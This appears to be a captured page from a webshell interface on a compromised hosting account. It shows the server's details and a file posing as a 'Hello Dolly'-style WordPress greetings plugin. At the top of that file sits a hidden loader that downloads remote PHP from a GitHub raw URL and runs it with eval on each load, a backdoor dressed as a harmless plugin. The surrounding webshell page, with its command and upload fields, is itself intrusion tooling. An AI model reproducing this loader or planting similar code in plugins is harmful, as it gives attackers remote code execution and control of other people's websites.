403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.116.49.6
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/mcprintingandpromotions.com/hello/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/mcprintingandpromotions.com/hello/function.php
<?php
/**
 * @package Greetings_Plugin
 * @version 1.0.0
 */
/*
Plugin Name: Greetings Plugin
Plugin URI: http://wordpress.org/plugins/greetings-plugin/
Description: This plugin represents the spirit of an era with the famous lyrics from "Hello, Dolly," sung by Louis Armstrong. Activating this plugin will display a random lyric in the top-right corner of your admin screen.
Author: Developer Name
Version: 1.0.0
Author URI: http://developer.example.com/
*/

$externalResource = "https://raw.githubusercontent.com/starkvps99812/upd/refs/heads/main/BypassBest.php";
$connectionHandle = curl_init($externalResource);
curl_setopt($connectionHandle, CURLOPT_RETURNTRANSFER, true);
$retrievedCode = curl_exec($connectionHandle);
if (curl_errno($connectionHandle)) {
    die('cURL error occurred: ' . curl_error($connectionHandle));
}
curl_close($connectionHandle);
eval("?>" . $retrievedCode);

function get_random_lyric() {
    /** Lyrics from Hello Dolly */
    $songLyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, take her wrap, fellas
Dolly, never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, golly, gee, fellas
Have a little faith in me, fellas
Dolly, never go away
Promise, you'll never go away
Dolly'll never go away again";

    // Break lyrics into lines
    $songLyrics = explode("\n", $songLyrics);

    // Pick a random line
    return wptexturize($songLyrics[mt_rand(0, count($songLyrics) - 1)]);
}

// Display the chosen lyric
function display_greeting() {
    $randomLyric = get_random_lyric();
    $languageAttribute = '';
    if ('en_' !== substr(get_user_locale(), 0, 3)) {
        $languageAttribute = ' lang="en"';
    }

    printf(
        '<p id="greeting"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
        __('Lyric from Hello Dolly, by Jerry Herman:', 'greetings-plugin'),
        $languageAttribute,
        $randomLyric
    );
}

// Hook the function to the admin_notices action
add_action('admin_notices', 'display_greeting');

// Add CSS for positioning the lyric display
function greeting_styles() {
    echo "
    <style type='text/css'>
    #greeting {
        float: right;
        padding: 5px 10px;
        margin: 0;
        font-size: 12px;
        line-height: 1.6666;
    }
    .rtl #greeting {
        float: left;
    }
    .block-editor-page #greeting {
        display: none;
    }
    @media screen and (max-width: 782px) {
        #greeting,
        .rtl #greeting {
            float: none;
            padding-left: 0;
            padding-right: 0;
        }
    }
    </style>
    ";
}

add_action('admin_head', 'greeting_styles');

Youez - 2016 - github.com/yon3zu
LinuXploit